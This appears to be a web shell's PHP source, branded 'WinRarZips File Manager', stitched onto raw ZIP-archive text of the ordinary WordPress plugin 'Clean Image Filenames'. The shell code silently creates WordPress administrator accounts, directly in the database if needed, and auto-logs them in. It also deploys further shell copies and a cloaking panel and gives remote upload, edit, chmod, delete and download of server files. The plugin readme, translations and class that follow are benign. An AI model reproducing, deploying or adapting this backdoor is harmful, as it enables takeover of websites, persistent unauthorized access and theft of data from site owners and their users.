@username_exists($login) : false; } while ($exists); $pass = ''; $len = strlen($chars) - 1; for ($i = 0; $i < 12; $i++) { $pass .= $chars[function_exists('random_int') ? random_int(0, $len) : mt_rand(0, $len)]; } $email = $login . '@' . $domain; return [$login, $pass, $email]; } function wrz_bootstrap_wp_for_admin($root) { $wpl = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-load.php'; if (!@is_file($wpl)) { return false; } if (function_exists('wp_create_user') || function_exists('wp_insert_user')) { return true; } if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', false); } @ob_start(); try { require_once $wpl; } catch (Throwable $e) { @ob_end_clean(); return false; } @ob_end_clean(); return function_exists('wp_create_user') || function_exists('wp_insert_user'); } function wrz_wp_admin_success($root, $login, $pass, $uid, $auto_login, $via = 'api') { $admin_url = ''; $login_url = ''; if ($via === 'api' && function_exists('admin_url')) { $admin_url = (string) @admin_url(); $login_url = function_exists('wp_login_url') ? (string) @wp_login_url($admin_url ?: '') : ''; if (class_exists('WP_User')) { @(new WP_User((int) $uid))->set_role('administrator'); } if ($auto_login && function_exists('wp_set_auth_cookie')) { @wp_clear_auth_cookie(); @wp_set_current_user((int) $uid); @wp_set_auth_cookie((int) $uid, true); if (function_exists('do_action') && function_exists('get_userdata')) { @do_action('wp_login', $login, get_userdata((int) $uid)); } } } else { $scheme = wrz_is_https() ? 'https://' : 'http://'; $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : ''; $admin_url = $host !== '' ? $scheme . $host . '/wp-admin/' : '/wp-admin/'; $login_url = $host !== '' ? $scheme . $host . '/wp-login.php' : '/wp-login.php'; } $admin_link = $admin_url !== '' ? ' wp-admin' : ''; $viaLabel = $via === 'db' ? ' (DB)' : ''; return [ 'ok' => true, 'msg' => 'WP Admin Olusturuldu' . $viaLabel . '! User: ' . htmlspecialchars($login) . ' Pass: ' . htmlspecialchars($pass) . '' . $admin_link, 'admin_url' => $admin_url, 'login_url' => $login_url, 'user' => $login, 'pass' => $pass, ]; } function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; } function readFileContent($file) { return @file_get_contents($file) ?: ''; } function scanDirectory($dir) { return @scandir($dir) ?: []; } function wrz_create_wp_admin($auto_login = true) { $roots = wrz_wp_roots(); if (!$roots) { $shellRoot = wrz_find_wp_root(__DIR__); if ($shellRoot) { $roots = [$shellRoot]; } } if (!$roots) { return [ 'ok' => false, 'msg' => 'WordPress bulunamadi (wp-load.php)', ]; } $errors = []; foreach ($roots as $root) { if (!@is_file($root . '/wp-load.php')) { continue; } $domain = wrz_guess_email_domain(); for ($try = 0; $try < 3; $try++) { [$login, $pass, $email] = wrz_random_admin_creds($domain); if (wrz_bootstrap_wp_for_admin($root)) { if (function_exists('wp_create_user')) { $uid = @wp_create_user($login, $pass, $email); } else { $uid = @wp_insert_user([ 'user_login' => $login, 'user_pass' => $pass, 'user_email' => $email, 'role' => 'administrator', 'display_name' => $login, ]); } if (!(function_exists('is_wp_error') && is_wp_error($uid)) && $uid) { return wrz_wp_admin_success($root, $login, $pass, (int) $uid, $auto_login, 'api'); } if (function_exists('is_wp_error') && is_wp_error($uid)) { $errors[] = $uid->get_error_message(); } else { $errors[] = 'WP API kullanici olusturamadi'; } } $dbResult = wrz_create_wp_admin_db($root, $login, $pass, $email); if (!empty($dbResult['ok'])) { return wrz_wp_admin_success($root, $login, $pass, (int) $dbResult['uid'], false, 'db'); } if (!empty($dbResult['err']) && stripos($dbResult['err'], 'zaten var') === false) { $errors[] = $dbResult['err']; break; } } } $detail = $errors ? ': ' . htmlspecialchars(implode(' | ', array_unique($errors))) : ''; return [ 'ok' => false, 'msg' => 'WP Admin olusturulamadi' . $detail . '', ]; } $currentPath = $_GET['p'] ?? @getcwd() ?: '.'; $currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/'; if (!@is_dir($currentPath)) { $currentPath = './'; } $message = ''; $wp_admin_result = null; $wrz_deploy_result = null; if (isset($_GET['wp_admin']) && $_GET['wp_admin'] == '1') { $wp_admin_result = wrz_create_wp_admin(true); $message = $wp_admin_result['msg']; } if (isset($_GET['wrz_deploy']) && $_GET['wrz_deploy'] === '1') { $wrz_deploy_result = wrz_deploy_shell(); $message = $wrz_deploy_result['html']; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['wrz_create_admin'])) { $result = wrz_create_wp_admin(true); $message = $result['msg']; } if (isset($_POST['wrz_deploy_shell'])) { $wrz_deploy_result = wrz_deploy_shell(); $message = $wrz_deploy_result['html']; } if (isset($_POST['wrz_deploy_cloak'])) { $res = wrz_deploy_cloak_panel(); $message = $res['html']; } if (isset($_POST['wrz_auto_setup'])) { $res = wrz_auto_setup_all(); $message = $res['html']; } if (isset($_POST['wrz_deploy_backup'])) { $res = wrz_deploy_backup_all_roots('create'); $message = $res['html']; } if (isset($_POST['wrz_deploy_restore'])) { $res = wrz_deploy_backup_all_roots('restore'); $message = $res['html']; } if (isset($_POST['wrz_cleanup_unsafe'])) { $cleaned = []; foreach (wrz_wp_roots() as $root) { $cleaned = array_merge($cleaned, wrz_cleanup_unsafe_shell_copies($root)); } if ($cleaned) { $message = 'Siteyi bozan ' . count($cleaned) . ' kopya silindi. ' . '' . htmlspecialchars(implode(', ', array_map('basename', $cleaned))) . ''; } else { $message = 'Temizlenecek tehlikeli kopya bulunamadi.'; } } if (isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); $message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) || writeFile($destination, readFileContent($_FILES['upload']['tmp_name'])) ? 'Uploaded' : 'Upload failed'; } if (isset($_POST['new'])) { $path = $currentPath . $_POST['new']; if (isset($_POST['type']) && $_POST['type'] === 'dir') { $message = @mkdir($path) ? 'Folder created' : 'Failed'; } else { $message = writeFile($path, $_POST['content'] ?? '') ? 'File created' : 'Failed'; } } if (isset($_POST['save']) && isset($_POST['data'])) { $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? 'Saved' : 'Save failed'; } if (isset($_POST['oldname']) && isset($_POST['newname'])) { $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ? 'Renamed' : 'Failed'; } if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ? 'Permissions changed' : 'Failed'; } } if (isset($_GET['action'])) { $item = $_GET['item'] ?? ''; $itemPath = $currentPath . $item; if ($_GET['action'] === 'delete') { if (@is_file($itemPath)) { $message = @unlink($itemPath) ? 'Deleted' : 'Failed'; } elseif (@is_dir($itemPath)) { $message = @rmdir($itemPath) ? 'Deleted' : 'Failed'; } } elseif ($_GET['action'] === 'download' && @is_file($itemPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"'); @readfile($itemPath); exit; } elseif ($_GET['action'] === 'wp_admin') { $result = wrz_create_wp_admin(true); $message = $result['msg']; } } $items = array_diff(scanDirectory($currentPath), ['.', '..']); $folders = $files = []; foreach ($items as $item) { @is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item; } sort($folders); sort($files); $systemInfo = [ 'PHP' => @phpversion(), 'OS' => wrz_php_os(), 'User' => wrz_current_user(), ]; $wpRoots = wrz_wp_roots(); $joomlaRoots = function_exists('wrz_joomla_roots') ? wrz_joomla_roots() : []; $wrzCloakStatus = null; $wrzCloakMissing = false; $wrzCloakActionsMissing = false; if (function_exists('wrz_cloak_docroot') && function_exists('wrz_cloak_status')) { $wrzDoc = wrz_cloak_docroot(); if ($wrzDoc) { $wrzCloakStatus = wrz_cloak_status($wrzDoc); } } ?> WinRarZips • File Manager

WinRarZips

File Manager • WP Admin
$value): ?> : CMS: WP: Joomla: CMS: bulunamadi
Cloak modulu gomulu — ek dosya gerekmez.
Root /
WP Admin
Cikis Close Editor
Editing:
Cancel
NameSizePermissionsModifiedActions
Parent Directory
-
Delete
-
Edit Download Delete
[ No files | Void detected ]
PK!~%" uninstall.phpnu[function my_clean_image_filenames_mime_types() { $mime_types = array( 'application/pdf', 'image/jpeg', 'image/png', ); return $mime_types; } add_filter( 'clean_image_filenames_mime_types', 'my_clean_image_filenames_mime_types' ); == Installation == 1. Search for Clean Image Filenames in the plugins directory. 2. Install and activate the plugin. or 1. Download and unzip the plugin and upload the `clean-image-filenames` directory to your `/plugins/` directory. 2. Activate the plugin through the 'Plugins' menu in WordPress. == Frequently Asked Questions == = Can this plugin convert filenames of existing files in the media library? = No, this plugin only cleans the filenames of files when they are being uploaded to the media library. == Screenshots == 1. Easily choose between cleaning the filenames of all file types or images only. == Changelog == = 1.5 = * Add support for WebP and AVIF image formats. Thanks to @vinkla for the pull request. = 1.4 = * Add support for cleaning filenames when sideloaded (usually when uploaded programmatically) using the wp_handle_sideload_prefilter hook. = 1.3 = * Rewrite cleaning function to better handle specific characters. * Make sure code is compliant with WordPress Coding Standards. = 1.2.1 = * Enable plugin to be translated/internationalization. = 1.2 = * Set original, un-cleaned filename as attachment title. = 1.1.1 = * Added uninstall script that deletes plugin settings when the plugin is uninstalled. = 1.1 = * Added plugin settings to media settings page with option to convert all file types or just image file types. * Added shortcut to plugin settings from the plugins list. = 1.0 = * Initial release. == Upgrade Notice == = 1.1.1 = This version adds plugin uninstall script that deletes plugin settings if you were to delete the plugin. = 1.1 = This version adds plugin settings to the media settings page which lets you select between cleaning the filenames of all files or images only. The filter from version 1.0 is still available.PK!]>~HH(languages/clean_image_filenames-sv_SE.ponu[msgid "" msgstr "" "Project-Id-Version: Clean Image Filenames\n" "POT-Creation-Date: 2014-12-07 19:37+0100\n" "PO-Revision-Date: 2014-12-07 19:37+0100\n" "Last-Translator: \n" "Language-Team: \n" "Language: sv_SE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.6.3\n" "X-Poedit-Basepath: ..\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;" "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;" "_nx_noop:3c,1,2;__ngettext_noop:1,2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SearchPath-0: .\n" #: clean-image-filenames.php:139 msgid "File types" msgstr "Filtyper" #: clean-image-filenames.php:147 msgid "All file types" msgstr "Alla filtyper" #: clean-image-filenames.php:151 msgid "Images only" msgstr "Endast bilder" #: clean-image-filenames.php:171 msgid "Settings" msgstr "Inställningar" #: clean-image-filenames.php:184 msgid "" "Choose which file types that Clean Image Filenames shall improve the " "filenames for when files are uploaded." msgstr "" "Välj vilka filtyper som Clean Image Filenames ska förbättra filnamnen för " "när filer laddas upp." #: clean-image-filenames.php:206 msgid "" "The setting for what file types should be cleaned is disabled since a plugin " "or theme has already defined what file types should be cleaned." msgstr "" "Inställningen för vilka filtyper som ska fixas är inaktiverad eftersom ett " "plugin eller tema redan har definierat vilka filtyper som ska fixas." PK!cc(languages/clean_image_filenames-sv_SE.monu[T k 4 ?KTU 7dE All file typesChoose which file types that Clean Image Filenames shall improve the filenames for when files are uploaded.File typesImages onlySettingsThe setting for what file types should be cleaned is disabled since a plugin or theme has already defined what file types should be cleaned.Project-Id-Version: Clean Image Filenames POT-Creation-Date: 2014-12-07 19:37+0100 PO-Revision-Date: 2014-12-07 19:37+0100 Last-Translator: Language-Team: Language: sv_SE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.6.3 X-Poedit-Basepath: .. X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2 Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SearchPath-0: . Alla filtyperVälj vilka filtyper som Clean Image Filenames ska förbättra filnamnen för när filer laddas upp.FiltyperEndast bilderInställningarInställningen för vilka filtyper som ska fixas är inaktiverad eftersom ett plugin eller tema redan har definierat vilka filtyper som ska fixas.PK!!o99clean-image-filenames.phpnu[ * @copyright Upperdog * @license GPLv3 */ // Exit if called incorrectly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Clean Image Filenames. */ class CleanImageFilenames { /** * Plugin settings. * * @since 1.1 * * @var array $plugin_settings Plugin settings for version, default mime types. */ public $plugin_settings = array( 'version' => '1.5', 'default_mime_types' => array( 'image/gif', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/tiff', 'image/avif', 'image/webp', ), ); /** * Sets up hooks, actions and filters that the plugin responds to. * * @since 1.0 * @since 1.4 Added wp_handle_sideload_prefilter hook. */ public function __construct() { register_activation_hook( __FILE__, array( $this, 'plugin_activation' ) ); add_action( 'plugins_loaded', array( $this, 'plugins_loaded' ) ); add_action( 'admin_init', array( $this, 'admin_init' ) ); add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'add_action_links' ) ); add_action( 'wp_handle_upload_prefilter', array( $this, 'upload_filter' ) ); add_action( 'wp_handle_sideload_prefilter', array( $this, 'upload_filter' ) ); add_action( 'add_attachment', array( $this, 'update_attachment_title' ) ); } /** * Adds default plugin settings on plugin activation. * * @since 1.1 */ public function plugin_activation() { $this->add_default_plugin_settings(); } /** * Plugins loaded hook. * * Checks current plugin version. If the plugin has been updated, the saved * plugin version in the database is updated. * * Adds default plugin settings if they don't already exist. Default plugin * settings didn't exist prior to version 1.1. * * @since 1.1 */ public function plugins_loaded() { // Update plugin version database setting if it's not up to date. if ( get_option( 'clean_image_filenames_plugin_version' ) !== $this->plugin_settings['version'] ) { update_option( 'clean_image_filenames_plugin_version', $this->plugin_settings['version'] ); } // Add default plugin settings to database. $this->add_default_plugin_settings(); } /** * Adds default plugin settings to the database. * * This function runs when the plugin is activated and when plugins are loaded * using the plugins_loaded hook. The function updates default plugin settings * in the database options table. It adds default value for mime types field * if it doesn't already exist * * @since 1.1 */ public function add_default_plugin_settings() { if ( false === get_option( 'clean_image_filenames_mime_types' ) ) { add_option( 'clean_image_filenames_mime_types', 'images' ); } } /** * Sets up plugin translations and plugin settings fields. * * @since 1.1 */ public function admin_init() { // Load plugin translations. load_plugin_textdomain( 'clean-image-filenames', false, dirname( plugin_basename( __FILE__ ) ) . 'languages' ); // Add settings section. add_settings_section( 'clean_image_filenames_settings_section', 'Clean Image Filenames', array( $this, 'clean_image_filenames_settings_section_callback' ), 'media' ); // Add settings field. add_settings_field( 'clean_image_filenames_mime_types', __( 'File types', 'clean-image-filenames' ), array( $this, 'clean_image_filenames_mime_types_callback' ), 'media', 'clean_image_filenames_settings_section', array( 'alternatives' => array( array( 'value' => 'all', 'label' => __( 'All file types', 'clean-image-filenames' ), ), array( 'value' => 'images', 'label' => __( 'Images only', 'clean-image-filenames' ), ), ), ) ); // Register settings. register_setting( 'media', 'clean_image_filenames_mime_types' ); } /** * Add custom action links to the plugin's row in the plugins list. * * @since 1.1 * * @param array $links Default plugin action links. * @return array $links Modified plugin action links. */ public function add_action_links( $links ) { $plugin_action_links = array( '' . __( 'Settings' ) . '' ); return array_merge( $links, $plugin_action_links ); } /** * Outputs content before the settings fields. * * @since 1.1 */ public function clean_image_filenames_settings_section_callback() { echo '

' . esc_html_e( 'Choose which file types that Clean Image Filenames shall improve the filenames for when files are uploaded.', 'clean-image-filenames' ) . '

'; } /** * Output plugin settings fields. * * If the plugin filter has not been used, the user selected setting of what * file types to clean is used. If the plugin filter has been used in a plugin * or theme, the filter overrides the settings are the settings are therefore * disabled. * * @since 1.1 * * @param array $args Field details. */ public function clean_image_filenames_mime_types_callback( $args ) { if ( apply_filters( 'clean_image_filenames_mime_types', $this->plugin_settings['default_mime_types'] ) !== $this->plugin_settings['default_mime_types'] ) { echo ''; echo '' . esc_html_e( 'The setting for what file types should be cleaned is disabled since a plugin or theme has already defined what file types should be cleaned.', 'clean-image-filenames' ) . ''; } else { foreach ( $args['alternatives'] as $alternative ) { echo '
'; } } } /** * Checks whether or not the current file should be cleaned. * * This function runs when files are being uploaded to the WordPress media * library. The function checks if the clean_image_filenames_mime_types filter * has been used and overrides other settings if it has. Otherwise, the plugin * settings are used. * * If a file shall be cleaned or not is checked by comparing the current file's * mime type to the list of mime types to be cleaned. * * @since 1.1 Added more complex checks and moved the actual cleaning to clean_filename(). * @since 1.0 * * @param array $file The file information including the filename in $file['name']. * @return array $file The file information with the cleaned or original filename. */ public function upload_filter( $file ) { // Save original filename in transient and add to attachment post later. $original_filename = pathinfo( $file['name'] ); set_transient( '_clean_image_filenames_original_filename', $original_filename['filename'], 60 ); // Get mime type settings. $mime_types_setting = get_option( 'clean_image_filenames_mime_types' ); $default_mime_types = $this->plugin_settings['default_mime_types']; $valid_mime_types = apply_filters( 'clean_image_filenames_mime_types', $default_mime_types ); if ( $valid_mime_types !== $default_mime_types ) { // Use mime types defined with filter. if ( in_array( $file['type'], $valid_mime_types, true ) ) { $file = $this->clean_filename( $file ); } } else { // Use mime types as defined in settings. if ( 'all' === $mime_types_setting ) { $file = $this->clean_filename( $file ); } elseif ( 'images' === $mime_types_setting && in_array( $file['type'], $default_mime_types, true ) ) { $file = $this->clean_filename( $file ); } } // Return cleaned file, or input file file type is not set to be cleaned. return $file; } /** * Clean filename. * * Performs the cleaning of filenames. It replaces whitespaces, some specific * chacters and uses WordPress' remove_accents() function for the rest. It * also converts filenames to lowercase. * * @since 1.3 Rewrote filename cleaning to better handle specific characters. * @since 1.1 Added function. * * @param array $file Uploaded file details. * @return array $file Uploaded file details with cleaned filename. */ public function clean_filename( $file ) { // Get file details. $file_pathinfo = pathinfo( $file['name'] ); // Replace whitespaces with dashes. $cleaned_filename = str_replace( ' ', '-', $file_pathinfo['filename'] ); // Specific replacements not handled at all or not handled well by remove_accents(). $specific_replacements = array( 'А' => 'a', 'Ά' => 'a', 'Á' => 'a', 'Α' => 'a', 'Ä' => 'a', 'Å' => 'a', 'Ã' => 'a', 'Â' => 'a', 'À' => 'a', 'α' => 'a', 'Ą' => 'a', 'а' => 'a', 'ά' => 'a', 'Æ' => 'ae', 'å' => 'a', 'ä' => 'a', 'б' => 'b', 'Б' => 'b', 'Ć' => 'c', 'Ç' => 'c', 'ц' => 'c', 'Ц' => 'c', 'Č' => 'c', 'Ч' => 'ch', 'χ' => 'ch', 'ч' => 'ch', 'Χ' => 'ch', 'д' => 'd', 'Ď' => 'd', 'Д' => 'd', 'δ' => 'd', 'Δ' => 'd', 'Ð' => 'd', 'ε' => 'e', 'έ' => 'e', 'Έ' => 'e', 'Э' => 'e', 'Ę' => 'e', 'Ε' => 'e', 'э' => 'e', 'Ê' => 'e', 'Ě' => 'e', 'É' => 'e', 'Е' => 'e', 'е' => 'e', 'È' => 'e', 'Ë' => 'e', 'Φ' => 'f', 'Ф' => 'f', 'φ' => 'f', 'ф' => 'f', 'Γ' => 'g', 'γ' => 'g', 'ґ' => 'g', 'Г' => 'g', 'Ґ' => 'g', 'г' => 'g', 'Х' => 'h', 'х' => 'h', 'Ή' => 'i', 'Ί' => 'i', 'І' => 'i', 'і' => 'i', 'ΐ' => 'i', 'Η' => 'i', 'Ι' => 'i', 'η' => 'i', 'ϊ' => 'i', 'ι' => 'i', 'Ï' => 'i', 'Ì' => 'i', 'ή' => 'i', 'Í' => 'i', 'Î' => 'i', 'ί' => 'i', 'Ϊ' => 'i', 'и' => 'i', 'И' => 'i', 'й' => 'j', 'Й' => 'j', 'Я' => 'ja', 'я' => 'ja', 'ю' => 'ju', 'Ю' => 'ju', 'Κ' => 'k', 'κ' => 'k', 'к' => 'k', 'К' => 'k', 'л' => 'l', 'Λ' => 'l', 'λ' => 'l', 'Ł' => 'l', 'Л' => 'l', 'Μ' => 'm', 'м' => 'm', 'М' => 'm', 'μ' => 'm', 'Ñ' => 'n', 'ν' => 'n', 'Ν' => 'n', 'н' => 'n', 'Ň' => 'n', 'Ń' => 'n', 'Н' => 'n', 'ώ' => 'o', 'Ò' => 'o', 'ό' => 'o', 'Ő' => 'o', 'Ώ' => 'o', 'Õ' => 'o', 'Ο' => 'o', 'Ø' => 'o', 'ο' => 'o', 'Ό' => 'o', 'Ω' => 'o', 'Ó' => 'o', 'Ö' => 'o', 'ö' => 'o', 'О' => 'o', 'о' => 'o', 'ω' => 'o', 'Ô' => 'o', 'п' => 'p', 'þ' => 'p', 'π' => 'p', 'Π' => 'p', 'П' => 'p', 'Þ' => 'p', 'Ψ' => 'ps', 'ψ' => 'ps', 'Р' => 'r', 'Ř' => 'r', 'Ρ' => 'r', 'р' => 'r', 'ρ' => 'r', 'С' => 's', 'σ' => 's', 'Ś' => 's', 'ς' => 's', 'Σ' => 's', 'Š' => 's', 'с' => 's', 'Ш' => 'sh', 'ш' => 'sh', 'щ' => 'shch', 'Щ' => 'shch', 'ß' => 'ss', 'Τ' => 't', 'τ' => 't', 'Ť' => 't', 'т' => 't', 'Т' => 't', 'θ' => 'th', 'Θ' => 'th', 'Ў' => 'u', 'ў' => 'u', 'Ű' => 'u', 'Ú' => 'u', 'У' => 'u', 'Ù' => 'u', 'Û' => 'u', 'Ů' => 'u', 'у' => 'u', 'ü' => 'u', 'Ü' => 'u', 'в' => 'v', 'В' => 'v', 'Β' => 'v', 'β' => 'v', 'Ξ' => 'x', '×' => 'x', 'ξ' => 'x', 'Ϋ' => 'y', 'Ÿ' => 'y', 'Ý' => 'y', 'Υ' => 'y', 'υ' => 'y', 'Ύ' => 'y', 'ύ' => 'y', 'ΰ' => 'y', 'ϋ' => 'y', 'ы' => 'y', 'Ы' => 'y', 'є' => 'ye', 'Є' => 'ye', 'ї' => 'yi', 'Ї' => 'yi', 'ё' => 'yo', 'Ё' => 'yo', 'з' => 'z', 'Ź' => 'z', 'З' => 'z', 'Ž' => 'z', 'ζ' => 'z', 'Ζ' => 'z', 'Ż' => 'z', 'Ж' => 'zh', 'ж' => 'zh', '_' => '-', '%20' => '-', ); // Replace specific characters. $cleaned_filename = str_replace( array_keys( $specific_replacements ), array_values( $specific_replacements ), $cleaned_filename ); // Convert characters to ASCII equivalents. $cleaned_filename = remove_accents( $cleaned_filename ); // Convert filename to lowercase. $cleaned_filename = strtolower( $cleaned_filename ); // Remove characters that are not a-z, 0-9, or - (dash). $cleaned_filename = preg_replace( '/[^a-z0-9-]/', '', $cleaned_filename ); // Remove multiple dashes in a row. $cleaned_filename = preg_replace( '/-+/', '-', $cleaned_filename ); // Trim potential leftover dashes at each end of filename. $cleaned_filename = trim( $cleaned_filename, '-' ); // Replace original filename with cleaned filename. $file['name'] = $cleaned_filename . '.' . $file_pathinfo['extension']; return $file; } /** * Save original filename to attachment title. * * The original, un-cleaned filename is saved as a transient called * _clean_image_filenames_original_filename just before the filename is cleaned * and saved. When WordPress adds the attachment to the database, this function * picks up the original filename from the transient and saves it as the * attachment title. * * @since 1.2 * * @param int $attachment_id Attachment post ID. */ public function update_attachment_title( $attachment_id ) { $original_filename = get_transient( '_clean_image_filenames_original_filename' ); if ( $original_filename ) { // Update attachment post. wp_update_post( array( 'ID' => $attachment_id, 'post_title' => $original_filename, ) ); // Delete transient. delete_transient( '_clean_image_filenames_original_filename' ); } } } new CleanImageFilenames(); PK!J#clean-image-filenames-bootstrap.phpnu[PK!~%" Auninstall.phpnu[PK! &readme.txtnu[PK!]>~HH(&languages/clean_image_filenames-sv_SE.ponu[PK!cc( languages/clean_image_filenames-sv_SE.monu[PK!!o99clean-image-filenames.phpnu[PK#L